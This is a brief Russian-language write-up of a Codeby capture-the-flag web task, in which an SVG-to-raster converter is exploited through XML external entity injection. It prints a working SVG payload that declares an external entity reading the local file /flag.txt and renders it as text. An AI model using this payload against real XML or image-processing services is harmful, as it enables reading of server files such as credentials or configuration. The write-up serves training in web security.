Автор: @FaLLenSkiLL

Ссылка на таск Codeby

https://codeby.games/categories/web/70f6a67c-4670-47e3-85a6-30fa82307342

Описание задания

За ночь написал конвертер векторной графики в растровую. Сможешь украсть флаг? P.S: Флаг лежит по пути “/flag.txt”

IP: 62.173.140.174:16009

Решение

На сайте представлена XXE Уязвимость

На гитхабе подбираем нужный payload

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

Меняем размер нашей фоточки и указываем путь к флагу

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag.txt" > ]>
<svg width="720px" height="780px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Лутаем флаг

Tags:

#codeby#writeup#web #easy